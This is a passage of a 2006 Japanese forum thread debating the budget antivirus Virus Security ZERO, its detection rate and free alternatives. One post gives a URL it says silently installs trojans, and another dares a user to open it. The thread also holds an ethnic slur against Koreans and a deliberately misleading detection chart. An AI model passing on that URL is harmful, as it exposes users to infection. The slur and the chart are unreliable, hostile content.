今までセキュリティに無関心だった人がセキュリティソフトの導入を考え始めたと考えれば
大きな一歩と言えるんじゃないかな
後は先進国を見ればおのずと答えが見つかるだろう
生暖かく見守ろうや

524 :名無しさん@お腹いっぱい。:2006/09/08(金) 22:21:04
>>523
随分詳しそうですね。
日本は後進国だそうですが、あなたが先進国だと思う国を5つ教えて下さい。
その先進国におけるセキュリティソフトの浸透率は、日本とどれ程
離れているのですか?

525 :名無しさん@お腹いっぱい。:2006/09/08(金) 22:22:55
おれ、このスレ好きだぜ。

          ∧_∧
    ∧_∧  (´<_`  ) 
   ( ´_ゝ`) /   ⌒i  さすがだな、兄者。
   /   \     | |
  /    / ̄ ̄ ̄ ̄/ |
__(__ニつ/       / .| .|____
    \/____/ (u⊃


526 :名無しさん@お腹いっぱい。:2006/09/08(金) 22:25:42
とりあえず、東洋一のIT大国は、韓国なのは、間違いない。
皆も異論がないだろう。

ブロードバンド普及率も、日本とは比較にならないくらい発達している。

そんな韓国で使われている
「ウイルスブロック・インターネットセキュリティ2007Platinum」が
日本のユーザーにもオススメの逸品だ!

527 :名無しさん@お腹いっぱい。:2006/09/08(金) 22:28:24
まあVSよりはマシだろうな

528 :名無しさん@お腹いっぱい。:2006/09/08(金) 22:28:59
ウイルスセキュリティ(K7)よりは、まちがいないね

529 :名無しさん@お腹いっぱい。:2006/09/08(金) 22:31:13
ウイルスブロック・インターネットセキュリティ2007Platinum

・・・知らなかった(^^;

530 :名無しさん@お腹いっぱい。:2006/09/08(金) 22:36:07
多くのコンシューマは、
家庭のPCのウイルス対策(他のセキュリティさえ含まれず)
にかけてもよい予算は、
年間で2000円以下と回答しています。



531 :名無しさん@お腹いっぱい。:2006/09/08(金) 22:36:21
世界のインターネットの繋ぎ方〜中国・東南アジア編
ttp://www.watch.impress.co.jp/internet/www/article/2002/0719/asia.htm

世界のインターネットの繋ぎ方〜東南アジア編 <その2>
ttp://www.watch.impress.co.jp/internet/www/article/2002/1115/asia2.htm

このスレに触発されてみた。やっぱり、このスレは・・・イイ。

532 :名無しさん@お腹いっぱい。:2006/09/08(金) 22:42:01
>>526
あなたの言う場合の普及率って回線数を人口で割ってるんだよね
で、韓国の場合、家庭のブロードバンド普及率は低いんだけど
それとは別にPCバンといわれる、日本で言うところのネット喫茶が普及しているわけ
だから回線数は多いけど家庭ではそんなに普及していない。これじゃアンチウイルスも関係ないね
人口対普及率と家庭内普及率を取り違えないようにね

533 :名無しさん@お腹いっぱい。:2006/09/08(金) 22:43:01
>>530
もっともっとAntiVirやAVG、avastを普及させたいものだな
2000円以下とかいうレベルじゃないもんじゃぁ。タダだし

534 :名無しさん@お腹いっぱい。:2006/09/08(金) 22:46:15
日本は悔しいかもしれないが、
東洋一のIT大国は、間違いなく韓国なのですよ。

535 :名無しさん@お腹いっぱい。:2006/09/08(金) 22:53:07
まあ日本の開発力はちょっとアレだわな

536 :名無しさん@お腹いっぱい。:2006/09/08(金) 23:00:37
チョンが湧いてくるとスレが荒れる

537 :名無しさん@お腹いっぱい。:2006/09/08(金) 23:07:33
ところで、竹島って本当は韓国領なのか?

538 :名無しさん@お腹いっぱい。:2006/09/08(金) 23:10:32
朝鮮ネタは他の板でどうぞ

539 :名無しさん@お腹いっぱい。:2006/09/08(金) 23:16:49
まあ、今のところ問題ないし、シマンテックのオンラインスキャンして感染が確認されるか
多くの不具合が報告されて、不買運動が起こるとかしないかぎり、このままZERO使い
ますわ…エロサイトいくわけじゃなし、不審なメールの添付ファイルは開かないし、ましてや
ファイル交換ソフトなんか使わないしね。

540 :名無しさん@お腹いっぱい。:2006/09/08(金) 23:27:09
どうもセキュリティに関して後進国って話になっちまったようだな
まぁ、それでも間違いではないけど
とりあえず日本発のソフトでメジャーなものがないだけでも後進国といえるんじゃねぇの?
ハード、ソフト両面で遅れてのは明らかだと思うが
まずネットの利用率な。ちと古いネタだが
ttp://www.soumu.go.jp/joho_tsusin/policyreports/japanese/papers/h12/html/C1110000.html
ブロードバンドの普及率は、韓国がトップで、人口100人当たり21.3人が利用。2位は香港(14.9人)、
3位はカナダ(11.2人)。日本は10位で7.1人(2003年度)
ただし利用者数は日本は世界で第2位らしい
で日本の個人使用者の導入率
ttp://www.itmedia.co.jp/news/articles/0503/23/news083.html
国ごとの導入率をまとめたものがなかなかないな。
企業ごとの奴はあったんだが参考にしかならないのではしょるは


541 :名無しさん@お腹いっぱい。:2006/09/08(金) 23:31:17
普及率ってネット喫茶の回線数は母体から消すべきだと思うんだ

542 :名無しさん@お腹いっぱい。:2006/09/08(金) 23:34:10
なぜ、ここにアンチがワラワラと集まるのか?

それは、アンチたちは気になって気になって仕方がないからだ。
つまり、ウイルスセキュリティの評判がすごく気になるのだ。
だから、少しでも肯定的な意見が出ようものなら、
本当にウンカの如く湧いて出てきて徹底的にたたきつぶす。
アンチとそのバックにいる利害関係にある者達は、
このような、旧来の悪しき業界の秩序を根底から覆すソフトの
存在は、決して捨て置けない。
アンチたちが言う本当に検出力がたいしたことが無ければ、
ほおっておいてもウイルスセキュリティは自滅するはずなのに。
性能をけなす割に、24時間このスレを監視しているのは、
そういうストーカーの如く、裏工作をせざるを得ない事情があるのだ。

543 :名無しさん@お腹いっぱい。:2006/09/08(金) 23:37:34
>>542
> それは、アンチたちは気になって気になって仕方がないからだ。

ここに限らず2chのセキュ板は全体的にデマが多いから
ついついマジレスしたくなるんだよ

544 :名無しさん@お腹いっぱい。:2006/09/08(金) 23:40:06
Wikiのもあったから載せときます
ttp://ja.wikipedia.org/wiki/%E5%9B%BD%E3%81%AE%E3%82%A4%E3%83%B3%E3%82%BF%E3%83%BC%E3%83%8D%E3%83%83%E3%83%88%E6%99%AE%E5%8F%8A%E7%8E%87%E3%83%AA%E3%82%B9%E3%83%88
なげぇーーーー


545 :名無しさん@お腹いっぱい。:2006/09/08(金) 23:46:02
韓国はウイルスにやられて国中でネットがダウンした事がある。
これは先進国ならではの進んだ現象と言える。

546 :名無しさん@お腹いっぱい。:2006/09/08(金) 23:48:06
>>542
2chでこんな内容のない長文を書く奴は人間的にも人生的にも終わってる

547 :名無しさん@お腹いっぱい。:2006/09/08(金) 23:50:22
>>545
だよなぁ。ブロードバンドの普及率とセキュリティ意識はまた別問題だしな。
圧倒的な国内シェアを誇っているのがV3なのも問題(2位がHauriなのも痛い)。
VB100%も頻繁に落としてるし。

548 :名無しさん@お腹いっぱい。:2006/09/08(金) 23:51:44
おれVSユーザを心配してる派だったんだけど、やめた
こんだけ日本でシェア広げたってことは日本人がこれを選んだってことだからな
日本人はそんな馬鹿じゃないから使ってるうちに答えを導き出すだろうし
ソースもその辺を見込んでの更新料タダなんだと思う


549 :名無しさん@お腹いっぱい。:2006/09/08(金) 23:57:17
>>548
確かに近年の消費所金融の大躍進と通ずるモノがあるな
日本人はそんなじゃないから使ってるうちに何かを導き出すだろうが

550 :名無しさん@お腹いっぱい。:2006/09/09(土) 00:16:23
>549
それは選択の余地がないってやつでないか


551 :名無しさん@お腹いっぱい。:2006/09/09(土) 00:37:07
単なるノータリン

552 :名無しさん@お腹いっぱい。:2006/09/09(土) 00:49:21
>>548
ウイルスの遭遇率自体がそんなに高いものじゃないんだよ
真の危険に遭遇したときでないと製品の善し悪しの判断ができない
MSブラストが爆発的に増殖したとき、このソフトが対応できていたかどうかは知らないけど
そこがアンチウイルス製品の際どいところ
K7レベルのアンチウイルスが生存できている理由
その被害の母体が小さすぎるので答えを導き出すのは極めて困難だと思う

553 :名無しさん@お腹いっぱい。:2006/09/09(土) 06:13:46
キングソフト使え


554 :名無しさん@お腹いっぱい。:2006/09/09(土) 06:36:36
ZEROって、2ちゃんによく貼ってあるウィルスに反応する?
マカ使ってるんだけど、
【山口・女子学生殺害】 「藤村君に呼び出された」 歩さん、友人に話す…
容疑者バッグの中には、鍵とひも★3
http://news19.2ch.net/test/read.cgi/newsplus/1157730602/
>>777のURLクリックしたら反応して駆除された。
パソコン初心者なんだけど、初めてウィルスに遭遇した。


555 :名無しさん@お腹いっぱい。:2006/09/09(土) 06:39:20
まぁZEROが250万に達している?くらい売れてますから、ソースは今後がんばらないとね
なにか、ウイルストラブルが250万人に発生したらソースは破産かもね
そこらへんに期待して買おうかな? やっぱノートンは高すぎるわ・・・

556 :名無しさん@お腹いっぱい。:2006/09/09(土) 06:44:58
>>554だけど、プリインストールのマカの3ヶ月無料期間過ぎたら、
どんなソフト買えばいいのか迷ってるので教えてね。

557 :名無しさん@お腹いっぱい。:2006/09/09(土) 06:49:58
裏2ちゃんねるがあると思ったんだな

558 :名無しさん@お腹いっぱい。:2006/09/09(土) 06:50:07
>>554
残念ながら物凄い勢いでスルーしたよ
ソースはExploit系には対応しない方針だからそういう系にはほとんど反応しない
そういう意味では初心者には不向きかな、このアンチウイルスは
でもマカフィーが反応して良かったね
ただこのスレも大概なものだけど、そういうスレの内容の酷さも大概なもんだね・・・


559 :名無しさん@お腹いっぱい。:2006/09/09(土) 06:51:58
>>558 おおっ、即レスサンキュー

560 :名無しさん@お腹いっぱい。:2006/09/09(土) 06:53:40
>>558
やっぱVSはヤバイかなと思ってしまった

561 :名無しさん@お腹いっぱい。:2006/09/09(土) 07:01:43
初心者用を謳っているのに初心者が誤ってクリックしてしまいそうなタイプの罠には対応しないソース
操作性だけの意味で使ってるのかもね

562 :名無しさん@お腹いっぱい。:2006/09/09(土) 07:10:22
>>555
某バスターは自らウイルス擬きの定義を配布して
相当数のPCを動作不能に追い込んだが別に潰れてないな。

563 :名無しさん@お腹いっぱい。:2006/09/09(土) 08:04:53
  2chに貼られたウイルスが素通りのアンチウイルスなんてかわいすぎ!
         __
        , ‐' ´   ``‐、             / ̄:三}
.     /,. -─‐- 、.   ヽ        /   ,.=j
 _,.:_'______ヽ、 .!       ./   _,ノ
  `‐、{ へ  '゙⌒ `!~ヽ. !     /{.  /
    `! し゚  ( ゚j `v‐冫   , '::::::::ヽ、/   そんな事より野球しようぜ!
.    {.l   '⌒      ゙ 6',!   / :::::::::::::::/ __
.     〈  < ´ ̄,フ  .ノー'_ , ‐'´::::::::::::::;/ (_ノ)‐-、
.      ヽ.、 ` ‐", ‐´‐:ラ ':::::::::::::::: ;∠.   ヽ_}  ゙ヽ
        ,.r` "´  /:::::::::::::::::::ィ´  `ゝ  !、  /
     /       / :::::::::::::::: ; '´   /´\ /   r'\
.     i      ! ::::::::::::::/ 墨 | .!::::::::/ヽ、.._!ヽ. ヽ、
     {      {:::::::::::;:イ /   ‖i:::::::/:::::::::::::/  \
.      ヽ       ヽ,.ァ‐'´ /ヽ 二 ,/`ヽ、::::::::: /    ヽ
      ヽ、 ,. ‐'"   .ノ ,〈    >   `'‐- '
          >   _,. ‐'´ / /    `)
       ,ゝ       _.⊥.-r┬:/
       ヽ_,. -‐i"!´「L.=!┘     ヽ
       <      / /       |


564 :名無しさん@お腹いっぱい。:2006/09/09(土) 08:20:15
これって今は更新料無料の話題性だけで売れるがその分今まで以上に
売上本数を増やさないと利益が取れないという結構、綱渡り的な売り方だよな。

元々1,980円で売っていた物に2,000円分の更新料が上乗せされているようなものだから
ある程度はもつと思うが…


565 :名無しさん@お腹いっぱい。:2006/09/09(土) 08:43:39
>>564
ある程度売ったら更新料無料だからもう売れない→生産しない→全てを終わりにしようとしている

毎週更新の通知だけを出し続けて・・・感染して問い合わせても再インスコしろとかリカバリしろとかしか言わない

と予想

566 :名無しさん@お腹いっぱい。:2006/09/09(土) 09:10:51
大手は性能で勝負してシェアを上げてきて、まさに正統派なんだよね。
VSは低価格と広告戦略でシェアを上げてきて正統派とは言えない。
大手は価格競争に巻き込まれるしね。
アンチはそれが気に入らないんだよね。
でもシェアを上げてきたVSもこれからは社会的な影響も考えて性能アップをはかるんじゃないかな。

大手は性能戦略から価格戦略へ。

VSは価格戦略から性能戦略へ。

567 :名無しさん@お腹いっぱい。:2006/09/09(土) 09:15:40
コピペはもういいよ

568 :名無しさん@お腹いっぱい。:2006/09/09(土) 09:33:03
でも、ウイルスに感染して動作が遅くなる か ウイルスソフトを入れて遅くなる か
どっちでも遅くなるな
軽さが売りのVSはある意味でいいのかもね

569 :名無しさん@お腹いっぱい。:2006/09/09(土) 09:39:32
>>568
言ってる意味が全く分からないんだけど、ウイルスソフト?釣りだよな?
同じことを言ってるんだからそりゃどっちも同じ結果になるだろ。

仮にウイルスソフトがアンチウイルスだとして
ウイルスに感染して動作が遅くなる理由とアンチウイルスを入れて動作が遅くなる理由は当然全く違うし
ウイルスに感染したら動作が遅くなるどころか起動すらできなくなるんだが、それでもいいならVSが軽くていいと思うよ。
軽すぎてスカスカだからウイルスは素通りだけど

570 :名無しさん@お腹いっぱい。:2006/09/09(土) 10:13:56
最近、ソースネクストのTV CMを全く目にすることがなくなった。
そろそろヤバイのでこんなソフトで食いつないでいるんじゃマイカ?

571 :名無しさん@お腹いっぱい。:2006/09/09(土) 10:18:31
>>570 宣伝してなくても売れるようになってきたのかもね

572 :名無しさん@お腹いっぱい。:2006/09/09(土) 10:20:32
もうavastでいいじゃん。
この程度のソフトに金出す意味がわからん。

573 :名無しさん@お腹いっぱい。:2006/09/09(土) 10:40:54
>>572
どの程度のソフトか知らない初心者が騙されて金を出してるんですが何か?

574 :名無しさん@お腹いっぱい。:2006/09/09(土) 10:42:31
金出すっていっても、たかが3980円なのにね

575 :名無しさん@お腹いっぱい。:2006/09/09(土) 10:45:02
【セキュリティソフト】メーカー別ランキング(06.8.21−8.27)
http://bcnranking.jp/ranking/02-00010001.html

だって。現実をみるなぁ。

576 :名無しさん@お腹いっぱい。:2006/09/09(土) 10:49:43
さぁ、面白いことになってきました
マカァ厨の俺は関係ないけどな

577 :名無しさん@お腹いっぱい。:2006/09/09(土) 10:55:44
>>575
>>572

578 :名無しさん@お腹いっぱい。:2006/09/09(土) 11:03:10
>>572
avastもAVGも知らない初心者が買うんだよ・・・

579 :名無しさん@お腹いっぱい。:2006/09/09(土) 11:08:28
なぜ、ここにアンチがワラワラと集まるのか?

それは、アンチたちは気になって気になって仕方がないからだ。
つまり、ウイルスセキュリティの評判がすごく気になるのだ。
だから、少しでも肯定的な意見が出ようものなら、
本当にウンカの如く湧いて出てきて徹底的にたたきつぶす。
アンチとそのバックにいる利害関係にある者達は、
このような、旧来の悪しき業界の秩序を根底から覆すソフトの
存在は、決して捨て置けない。
アンチたちが言う本当に検出力がたいしたことが無ければ、
ほおっておいてもウイルスセキュリティは自滅するはずなのに。
性能をけなす割に、24時間このスレを監視しているのは、
そういうストーカーの如く、裏工作をせざるを得ない事情があるのだ。



580 :名無しさん@お腹いっぱい。:2006/09/09(土) 11:09:45
哀れみからだろw

581 :名無しさん@お腹いっぱい。:2006/09/09(土) 11:22:00
売れようが売れまいが関係ない
騙される奴が悪い



これでいいですか?

582 :名無しさん@お腹いっぱい。:2006/09/09(土) 11:22:48
>>581
いやどう考えても騙してるやつが悪いだろw

583 :名無しさん@お腹いっぱい。:2006/09/09(土) 11:25:47

オンラインスキャンだよ!

VSユーザーのみんな〜是非スキャンしてみよう!

もちろん無料だよ。

ウイルスの検出だけで削除まではしてくれないけどね!

【トレンドマイクロ 】
http://www.trendmicro.co.jp/hcall/index.asp
【カスペルスキー】
http://www.kaspersky.co.jp/scanforvirus/
【シマンテック】
http://www.symantec.com/region/jp/securitycheck/

見つかるのは希望か、失望か?






584 :名無しさん@お腹いっぱい。:2006/09/09(土) 11:33:24
オンラインスキャンでウイルス発見→ VSの能力はこんなもん!ほぼノーガードです。

オンラインスキャンでウイルスなし→ × やっぱりVSで十分だ!
                → ○ 偶然にもウイルスに接触する機会が無かっただけ

585 :名無しさん@お腹いっぱい。:2006/09/09(土) 12:25:15
アンチのネガティブキャンペーン必死!

586 :名無しさん@お腹いっぱい。:2006/09/09(土) 13:00:19
つーか、また落ちているのだが
本当に大丈夫か?ここ?
K7 Computing

ttp://www.k7computing.com/

587 :名無しさん@お腹いっぱい。:2006/09/09(土) 13:05:45
トラップなだけ

588 :名無しさん@お腹いっぱい。:2006/09/09(土) 14:58:24
カレー板住人からみると、ZEROとココ壱って同じ扱いだな

589 :名無しさん@お腹いっぱい。:2006/09/09(土) 16:49:57
どう考えても、初心者にもウイルスセキュリティがベストチョイス

590 :名無しさん@お腹いっぱい。:2006/09/09(土) 16:55:05
>>537

長年の韓国による実効支配により、近隣諸国はじめ諸外国の中には、
竹島は韓国領、と受け止める国も出てきたようです。

591 :名無しさん@お腹いっぱい。:2006/09/09(土) 17:33:59
>>589
ウイルスセキュリティかノーガードだな
俺は安さからいってノーガードをおすすめする

592 :名無しさん@お腹いっぱい。:2006/09/09(土) 18:14:04
どう考えても、初心者にもウイルスセキュリティがバットチョイス

593 :名無しさん@お腹いっぱい。:2006/09/09(土) 19:55:44
かなり、ヤバス!↓
ttp://reveal-the-truth.tripod.com/china_real_toilet.html
ここ、踏んだだけでウィルスだのトロイだの送り込んでくるんだけど
ウィルスセキュリティーで、防げるの?(嫌味じゃなくて実力が知りたいだけ)

誰か、勇気あるウィルスセキュリティーオーナーの突撃きぼんぬ。
(勇気ある人だけでいいです)

ちなみわたくし、踏んでFirefoxが固まりました(苦笑)
by NOD32使用者


594 :名無しさん@お腹いっぱい。:2006/09/09(土) 19:58:33
>>593
それはとりあえずノートンとかバスター利用者がはじめに踏むべきじゃないか?
はじめにVSとか自殺行為だし

595 :名無しさん@お腹いっぱい。:2006/09/09(土) 20:05:08
あとからVSでも自殺行為だよ

596 :名無しさん@お腹いっぱい。:2006/09/09(土) 20:12:07
メイン機・・・ノートン
サブ機・・・ウイルスセキュリティ
か、

メイン機
サブ機とも、ウイルスバスター2007の
1シリアルで2台インスコ(可能になった)

で・・・
とちらにするか?
前者を継続することにした。

理由・・・後者だと、ありふれていてつまらないから。

597 :名無しさん@お腹いっぱい。:2006/09/09(土) 20:16:35
>>594
>>595
やっぱ、VSじゃ無理かなぁ?(^^;

だとすると、2ちゃんねる内では
こんな危険なリンクが、ちょくちょく貼られてるし
やっぱ、このスレ内で見かける
VS入れておけば、普通は問題なし!的な論調は
無理があるよねぇ(^^;

別にアンチVSじゃないんだけど、VSあればOKは
ちょと実質的に無理があると考えざるをえないね、これ。




598 :名無しさん@お腹いっぱい。:2006/09/09(土) 20:24:02
>>597
VSで危険だと思うなら、こんなトコに来るな


599 :名無しさん@お腹いっぱい。:2006/09/09(土) 20:25:20
>>598
あなたはVSで安全だと思ってるんですか!?
ぜひ>>593のリンクを踏んでください><


600 :名無しさん@お腹いっぱい。:2006/09/09(土) 20:30:12
どんなソフトだろうと、分かり切っている危険は愚行

601 :名無しさん@お腹いっぱい。:2006/09/09(土) 20:32:41
半角住人でもある漏れは、「reveal-the-truth」って見ただけで危険を感じるスキルを身につけたw
そういうスキルを持っていればVSでも問題無し!







まぁそんな奴はVSなんて使わないけどな

602 :名無しさん@お腹いっぱい。:2006/09/09(土) 20:32:48
>>600
2chを見るのは危険だけどな。普通にソフトウェア板とかアニメ板とかにも貼られたりするから。
まぁそれが危険だと分かってるVSユーザーは少なそうだけど。なぜなら何も反応しないから

603 :名無しさん@お腹いっぱい。:2006/09/09(土) 20:33:50
>>598
VSで危険かどうかわからないから
ここに来ているのですが(^^;

>>600
危険かどうかを自分で確かめるのも
大事な経験だと思うのですが(^^;

604 :名無しさん@お腹いっぱい。:2006/09/09(土) 20:37:34
>>601
おもしろ〜い(ノ´∀`*)センスを感じました*:.。..。.:*・ミ ☆

>そういうスキルを持っていればVSでも問題無し!
>まぁそんな奴はVSなんて使わないけどな

これ(´∇`)ケッサクデス


605 :名無しさん@お腹いっぱい。:2006/09/09(土) 21:01:52
せっかく買ったんだし、
あと2年はウイルスセキュリティZeroでいくつもりだ

606 :名無しさん@お腹いっぱい。:2006/09/09(土) 21:17:21
ZEROの実力試したいならこれは?
「各製品共通テストウイルス」 (トレンドマイクロ社ページ) 中のダウンロードリンク
を利用すれば、ウィルス対策ソフトの常駐機能を安全な方法で確認することが
できます。
http://www.trendmicro.co.jp/download/test-virus.asp

607 :606のつづき:2006/09/09(土) 21:27:09
常駐機能が有効であるなら、該当のリンクをクリックするとウイルス対策ソフト
からの警告が表示されるはずです (同時に Windows からのダウンロード警告が
表示されている場合、そちらに対しては "キャンセル" を選択すれば良いでしょう) 。
とあった。


608 :名無しさん@お腹いっぱい。:2006/09/09(土) 21:32:55
>>606
ただのeicarじゃねえかバカ
単に常駐機能が働いているかどうかの確認用のテストウイルスだ、実力など試せるはずもない
ちなみに本家はこっち
http://www.eicar.org/
散々既出だが、ウイルスセキュリティはeicarcom2.zipを検出できない、ご愁傷様

609 :名無しさん@お腹いっぱい。:2006/09/09(土) 21:35:28
書庫検査しないだけじゃないの?

610 :名無しさん@お腹いっぱい。:2006/09/09(土) 21:36:50
>>608
え゛、無料ソフトでも検出するのに?
DQNソフトだな

611 :名無しさん@お腹いっぱい。:2006/09/09(土) 21:39:59
もうちょっと突っ込んで試してみたかったら
http://eazyfox.homelinux.org/Security/Security24.html
ここの下の方にあるファイルでもテストしてみるといい
あまりの常駐監視のザルさに呆れかえると思うが
オンデマンド検査にしてもeicar_rar.exeを検出してeicar_zip.exeを検出できないのは何の冗談かと

612 :名無しさん@お腹いっぱい。:2006/09/09(土) 21:45:07
みんなわくわく地盤沈下su

613 :NOD32使ってますミ ☆:2006/09/09(土) 21:56:25
>>611
わ〜い。.:*・゜从n^ヮ^)η゚・*:.。.ミ ☆おかげさまで、LZHを試せましたミ ☆
NOD32が、LZHに未対応なんて、噂聞いてたのでミ ☆
で結果はというと、DL段階で警報ミ ☆
無視してDLしたあと、手動で検査したら、検出できましたミ ☆
て喜んでも、eicarナンデスガ(^^;
その内、本物ウィルス入りLZHで、検証したいと思いますミ ☆

614 :名無しさん@お腹いっぱい。:2006/09/09(土) 22:19:19
とか言いいながら、実は611がウイルス入りというオチかね

615 :名無しさん@お腹いっぱい。:2006/09/09(土) 22:50:40
>>614
こんな有名なサイトを知らないのもどうかと思うけど
ビビって踏めない、調べる気もないというのもどうかと

616 :名無しさん@お腹いっぱい。:2006/09/09(土) 22:57:25
初心者は、あまりヘヴィな使い方をしないから大丈夫
無茶しないようにして、
ウイルスセキュリティZEROで楽しいネットライフを楽しもう!

617 :名無しさん@お腹いっぱい。:2006/09/09(土) 22:58:18
>>615
eazyfoxかよ w
ファイルのDLだけなら問題ないかもな
文章は。。。一部は中立性にかけるかな
注意深い奴は読めば分かる
わからないやつはそのままで良いw

618 :名無しさん@お腹いっぱい。:2006/09/09(土) 23:11:36
>キングソフトは、学校での採用は無料化されているため、
>いくつかの学校で導入実績がある。
>また、ウイルスセキュリティも多くの公立校で予算面で最適なため検討中
>である。

やはり、安さは力なり・・・・か


619 :名無しさん@お腹いっぱい。:2006/09/09(土) 23:38:05
Kingsoft入れてたのにトロイの木馬仕込まれて
生徒の情報が漏れてたら裁判か
教育委員会も大変だな
KingsoftはVB100に登録もされてないし

620 :名無しさん@お腹いっぱい。:2006/09/09(土) 23:48:20
>>619
K7も参加していない
それどころかどこの公認も受けていない
少なくともkingはMSとCheckmark認定を受けている

621 :名無しさん@お腹いっぱい。:2006/09/09(土) 23:59:40
なぜ、ここにアンチがワラワラと集まるのか?

それは、アンチたちは気になって気になって仕方がないからだ。
つまり、ウイルスセキュリティの評判がすごく気になるのだ。
だから、少しでも肯定的な意見が出ようものなら、
本当にウンカの如く湧いて出てきて徹底的にたたきつぶす。
アンチとそのバックにいる利害関係にある者達は、
このような、旧来の悪しき業界の秩序を根底から覆すソフトの
存在は、決して捨て置けない。
アンチたちが言う本当に検出力がたいしたことが無ければ、
ほおっておいてもウイルスセキュリティは自滅するはずなのに。
性能をけなす割に、24時間このスレを監視しているのは、
そういうストーカーの如く、裏工作をせざるを得ない事情があるのだ。


622 :名無しさん@お腹いっぱい。:2006/09/10(日) 00:04:41
>>621
都合の悪い情報が出るとコピペ荒らし
これが毎回の信者のパターン

623 :名無しさん@お腹いっぱい。:2006/09/10(日) 00:09:39
          
 Windowsを中心としたマルウェア3万7116ファイル(圧縮ファイル含む:計2.19GB)
  における検出数(数値は検出数)

              ├───────────┐
    カスペルスキー .│                37999 .│
              ├───────────┘
              ├──────────┐
ウィルスセキュリティ .│              15043 .│
              ├──────────┘
              │          │          │
        ←low 1000         10000        100000 high→

  こうやってグラフにしてみると分かるがあまり検出数に差はない
  むしろコストパフォーマンスの差が大きくて検出数だけで計れないモノがある

       15043
       ___  37999
       |      |\ .__
       |      | | | ||
       |      | | | ||  
       |      | | | ||  
       |      | | |_||カスペルスキー
       |      | |//
       |      | | /     グラフを立体化して比較すると更に分かりやすい
       |      | | /      むしろウイルスセキュリティの方が大く感じられる
       |      | |/
       |      | ./
       |___|/ウイルスセキュリティ
     /     /

624 :名無しさん@お腹いっぱい。:2006/09/10(日) 00:14:24
          
 Windowsを中心としたマルウェア3万7116ファイル(圧縮ファイル含む:計2.19GB)
  における検出数(数値は検出数)

              ├───────────┐
    カスペルスキー .│                37999 .│
              ├───────────┘
              ├──────────┐
ウィルスセキュリティ .│              15043 .│
              ├──────────┘
              │          │          │
        ←low 1000         10000        100000 high→

  こうやってグラフにしてみると分かるがあまり検出数に差はない
  むしろコストパフォーマンスの差が大きくて検出数だけで計れないモノがある

       15043
       ___  37999
       |      |\ .__
       |      | | | ||
       |      | | | ||  
       |      | | | ||  
       |      | | |_||カスペルスキー
       |      | |//
       |      | | /     グラフを立体化して比較すると更に分かりやすい
       |      | | /      むしろウイルスセキュリティの方が大く感じられる
       |      | |/
       |      | ./
       |___|/ウイルスセキュリティ
     /     /

625 :名無しさん@お腹いっぱい。:2006/09/10(日) 00:15:35
          
 Windowsを中心としたマルウェア3万7116ファイル(圧縮ファイル含む:計2.19GB)
  における検出数(数値は検出数)

              ├───────────┐
    カスペルスキー .│                37999 .│
              ├───────────┘
              ├──────────┐
ウィルスセキュリティ .│              15043 .│
              ├──────────┘
              │          │          │
        ←low 1000         10000        100000 high→

  こうやってグラフにしてみると分かるがあまり検出数に差はない
  むしろコストパフォーマンスの差が大きくて検出数だけで計れないモノがある

       15043
       ___  37999
       |      |\ .__
       |      | | | ||
       |      | | | ||  
       |      | | | ||  
       |      | | |_||カスペルスキー
       |      | |//
       |      | | /     グラフを立体化して比較すると更に分かりやすい
       |      | | /      むしろウイルスセキュリティの方が大く感じられる
       |      | |/
       |      | ./
       |___|/ウイルスセキュリティ
     /     /

626 :名無しさん@お腹いっぱい。:2006/09/10(日) 00:20:36
VSのHPでも「「ウイルスセキュリティ」は、主にご家庭や個人でのご使用を前提に開発されているため、
環境によっては企業でのご使用に適さない場合があります」って書いてある
国内外のハッカーに狙われやすい官公庁や企業で使うこと自体が
VS信者のいうとこの「通常のネット」じゃないよな
企業や官公庁でVS選ぶ人はセキュリティ意識ないんだな

627 :名無しさん@お腹いっぱい。:2006/09/10(日) 00:25:04
ちゃんとしたところなら何段にも防御してるよ。
末端のクライアントはVSでも十分なのさ。

628 :名無しさん@お腹いっぱい。:2006/09/10(日) 00:34:21
おまえばか?>>627
VS選ぶところはちゃんとしてないとこだろw
末端が感染して、さらに別の末端に感染なんて容易に想像がつく
その末端がどんな情報抱えているのか、ましてハッカーなら末端が思いのままなら
そこからいくらでも侵入きくだろ
末端ならいいなんて意識を「セキュリティ意識ない」というんだよ

629 :名無しさん@お腹いっぱい。:2006/09/10(日) 00:38:43
>>627
ちゃんとした企業はこんなところで金をケチらない

630 :名無しさん@お腹いっぱい。:2006/09/10(日) 00:39:10
ばかはお前だ>>628
末端に信頼のできるVSを配置する意義を理解できないとは。
妄想でまともな思考力を奪われた奴には絡まれたくないよ。
まずは自分が異常ではないかと疑う事から始めよう。

631 :名無しさん@お腹いっぱい。:2006/09/10(日) 00:46:59
>>630
 >>629
そして、まともな企業ならHPに「「ウイルスセキュリティ」は、主にご家庭や個人でのご使用を前提に開発されているため、
環境によっては企業でのご使用に適さない場合があります」なんて書いてあるもの
選ばない。検出力も上のものを調べて使う
企業向けのセキュリティソフトってあるんだしな

632 :名無しさん@お腹いっぱい。:2006/09/10(日) 01:05:09
>>630
>信頼のできるVS
はいはい、ダウトダウト

633 :名無しさん@お腹いっぱい。:2006/09/10(日) 01:23:28
2004年民間企業の IT アプリケーション利用実態調査報告(ノーク・リサーチ)
> 全国5000社の年商5億円以上50億円未満の民間企業
> セキュリティパッケージの導入シェアでは「ウイルスバスター」が 47.6%でトップ。
> 「ノートンアンチウイルス」が 32.9%、「McAfee」が 15.3%となっている。
> この 3 強以外の製品はほとんど現れなかった。

634 :名無しさん@お腹いっぱい。:2006/09/10(日) 03:43:25
まともな法人なら予算出す前に調査するわな
仮に予算が少なくても低価格帯でのライセンス購入なら
ウイルスキラー2006 10ユーザーの2年で\12,600の方がまだまし
役に立ってないと気づいても被害額は約半分で済むし

635 :名無しさん@お腹いっぱい。:2006/09/10(日) 04:17:11
2ちゃんに貼ってあるウィルスに対応するにはマカフィがいいの?
ウイルスセキュリティ買おうかと思ってこのスレ来たんだけど。
他におすすめがあったら教えて。

636 :名無しさん@お腹いっぱい。:2006/09/10(日) 05:01:36
誤検出しないのはバスター

637 :名無しさん@お腹いっぱい。:2006/09/10(日) 05:09:42
その代わりバスターはいろいろ見逃す

638 :名無しさん@お腹いっぱい。:2006/09/10(日) 05:36:26
>>635
俺はカスペとノートン(重すぎ)しか使ったことないけど
マカフィーかカスペかノド32辺りが重くなくてそれなりに仕事するんだってさ

639 :名無しさん@お腹いっぱい。:2006/09/10(日) 05:40:18
>2ちゃんに貼ってあるウィルス

悪質サイトへのリンクという意味だったら、そういうところは
どんな新種のウイルスが仕掛けられているかも分からない暗黒地帯で
あり、どのアンチウイルスを使っても絶対に安全という事はない。
むしろそういうところのリンクを不用意にクリックする自殺行為を
自制できるように自分の意識を高める方がずっと重要。
